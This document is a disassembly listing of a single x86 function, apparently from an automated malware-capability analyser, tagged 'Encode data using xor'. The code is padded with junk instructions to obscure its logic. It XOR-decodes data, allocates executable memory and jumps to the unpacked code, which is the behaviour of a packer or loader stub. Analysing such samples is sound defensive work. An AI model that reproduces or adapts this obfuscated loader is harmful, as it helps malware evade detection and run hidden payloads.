Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x23dca9e8
inc edx
and edx, edi
or edi, edx
popal
add edi, edi
add edi, 0x626d9ee1
not edx
mov edi, 0
mov ebx, esi
sub eax, 1
and eax, edx
not eax
mov ecx, ebx
mov eax, edx
add edx, eax
sub eax, edx
mov esi, ecx
and eax, edx
dec eax
add eax, eax
inc edi
sub eax, edx
mov eax, edx
mov eax, 0x7db742c6
cmp edi, 0x1005fda
jne 0xa789c7
add eax, 0xf9cc549b
mov edx, eax
and edx, edx
sub edx, 0x4a3427bc
sub edx, 0x3ce27429
mov edx, 0xea2ecff5
mov ebx, 0xa78796
or esi, edi
sub edi, 1
mov edx, 0xa7898a
sub edi, eax
not edi
sub esi, 1
mov ecx, dword [ebx]
inc eax
add edi, 0x61e27d8c
and ecx, 0xff
add edi, 0x8d2216c1
sub esi, eax
and edi, edi
xor dword [edx], ecx
or esi, eax
sub edi, esi
add edx, 1
sub edi, 0xdb314049
and esi, eax
sub esi, edi
inc ebx
add eax, 0x948ae934
add esi, 0x20bd7797
cmp edx, entry0
jl 0xa78a2f
inc eax
add edi, eax
and esi, eax
dec eax
and eax, eax
sub esi, 0x1365945c
sub edi, 0x83529669
not ebx
and ebx, edx
mov ecx, 0xa7898e
add ebx, edx
add esi, 0x7b016a93
mov ecx, dword [ecx]
mov esi, 0x9f4c9745
not ebx
mov ecx, dword [ecx]
mov edi, esi
add esi, 0x6af7a203
push ecx
or edi, ebx
not edi
mov edx, ebx
mov ecx, 0xa7898a
or edx, edi
mov edx, 0x2cf9414e
mov ecx, dword [ecx]
inc edx
or ebx, ebx
mov ebx, edx
mov ecx, dword [ecx]
or esi, ebx
or esi, ebx
and ebx, edx
push 0xa78992
not ebx
sub edi, edx
call ecx
mov ebx, esi
add edx, 0xb3856632
pop ecx
mov esi, edi
mov edi, 0x1e0bb322
sub esi, 0x2d69d91b
sub esp, 4
mov dword [esp], 0xa7899f
mov edx, esi
add edi, edi
sub esp, 4
mov dword [esp], eax
and esi, ebx
and ebx, esi
not ebx
call ecx
sub ebx, 1
mov edi, ebx
sub esp, 4
mov dword [esp], 0x40
sub ebx, esi
not edi
push 0x3000
sub esi, edi
sub ebx, edi
push 0x20000e2b
add ebx, 1
inc ebx
push 0
inc edi
mov edi, esi
add edi, 0xc307e7a4
call eax
dec esi
sub edi, ebx
sub ebx, 0x552be2aa
add eax, 0x20000dbb
or edx, esi
and edi, ebx
add esi, edi
mov ecx, 0xaffd2f36
dec ebx
not esi
sub esi, 0x31e744ab
mov dword [eax], ecx
not edx
add ebx, ebx
add esi, edi
mov ecx, dword [eax]
add edx, ebx
mov esi, 0x9fb2fefc
inc edx
cmp ecx, 0xaffd2f36
je 0xa78b8d
mov ecx, 0
mov ebx, dword [ecx]
add edi, ebx
add ebx, 1
mov edi, edx
or edx, esi
and ebx, edx
sub edx, edi
inc edi
or edx, edi
mov ebx, section..reltc
not edi
sub edi, 1
or edi, edx
mov esi, 0xa78795
add edi, edx
add edi, 0xd1f63a65
mov ecx, 0
or edi, edx
mov edi, edx
mov eax, 0xa78796
sub edi, 0x80e88278
mov edi, edx
or edi, edx
lea eax, [eax + ecx]
mov edx, edi
add edi, 0xe32ae774
sub edx, 0xf64afc59
mov eax, dword [eax]
inc edi
or edi, edi
and eax, 0xff
mov edx, edi
mov edi, 0xc9053865
inc ecx
add edx, 0xfd17c17c
add edx, edi
cmp ecx, 0x1f4
jne 0xa78c0d
mov ecx, 0
mov edx, 0x2bfe61e8
add edi, edx
not edi
or edi, edx
and edx, edi
xor dword [ebx], eax
mov edi, 0x97d9d9d4
add edi, 0x5d1a9efb
inc edi
add ebx, 2
add edx, 0x2cab257e
sub edi, edx
and edi, edx
cmp ebx, esi
jl 0xa78bc5
or edi, edi
and edi, edx
add edi, edi
or edi, edx
add edi, edi
mov edi, 0x858172af
mov esi, section..reltc
sub edi, ecx
add ecx, edi
mov ecx, 0x75cf9b4b
mov edx, section..reltc
mov edi, ecx
inc edi
mov ebx, 0xa78795
dec ecx
mov edi, 0x5cb42fb5
mov eax, 0
or ecx, ecx
add ecx, ecx
or edi, edi
mov al, byte [edx]
sub ecx, edi
mov edi, ecx
mov ecx, edi
mov byte [esi], al
add ecx, edi
mov edi, ecx
inc ecx
inc esi
add edi, 0x631fa828
dec ecx
add edx, 2
inc ecx
add edi, 0x5835dce0
sub edi, ecx
cmp edx, ebx
jle 0xa78c7b
add edi, 0xf446f96f
sub ecx, 1
add edi, edx
and edx, edi
inc edx
push 0x8dc6a0
not edx
dec edi
inc edx
ret